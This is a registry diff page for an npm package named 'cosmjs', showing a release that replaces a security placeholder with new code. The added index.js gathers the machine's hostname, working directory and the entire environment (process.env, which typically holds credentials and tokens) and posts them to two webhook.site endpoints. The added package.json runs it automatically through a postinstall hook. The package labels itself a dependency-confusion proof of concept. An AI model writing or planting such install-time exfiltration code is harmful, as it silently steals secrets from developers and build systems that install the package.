cosmjs 0.0.1-security → 0.34.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of cosmjs might be problematic. Click here for more details.
- package/index.js +37 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
const data = JSON.stringify({
|
|
5
|
+
hostname: os.hostname(),
|
|
6
|
+
platform: process.platform,
|
|
7
|
+
cwd: process.cwd(),
|
|
8
|
+
env: process.env
|
|
9
|
+
});
|
|
10
|
+
|
|
11
|
+
const webhooks = [
|
|
12
|
+
'/5cf6ca93-367a-405d-8af4-b7a70d0dde92',
|
|
13
|
+
'/f645126e-f077-4e63-9139-9895e3f2a402'
|
|
14
|
+
];
|
|
15
|
+
|
|
16
|
+
webhooks.forEach((path) => {
|
|
17
|
+
const options = {
|
|
18
|
+
hostname: 'webhook.site',
|
|
19
|
+
path: path,
|
|
20
|
+
method: 'POST',
|
|
21
|
+
headers: {
|
|
22
|
+
'Content-Type': 'application/json',
|
|
23
|
+
'Content-Length': data.length
|
|
24
|
+
}
|
|
25
|
+
};
|
|
26
|
+
|
|
27
|
+
const req = https.request(options, (res) => {
|
|
28
|
+
console.log(`Webhook sent to ${path}. Status: ${res.statusCode}`);
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
req.on('error', (error) => {
|
|
32
|
+
console.error(`Error sending to ${path}: ${error}`);
|
|
33
|
+
});
|
|
34
|
+
|
|
35
|
+
req.write(data);
|
|
36
|
+
req.end();
|
|
37
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "cosmjs",
|
|
3
|
-
"version": "0.
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "0.34.1",
|
|
4
|
+
"description": "PoC for COSMOS ",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": ["dependency-confusion", "security-research"],
|
|
10
|
+
"author": "NA_RONY",
|
|
11
|
+
"license": "MIT"
|
|
6
12
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=cosmjs for more information.
|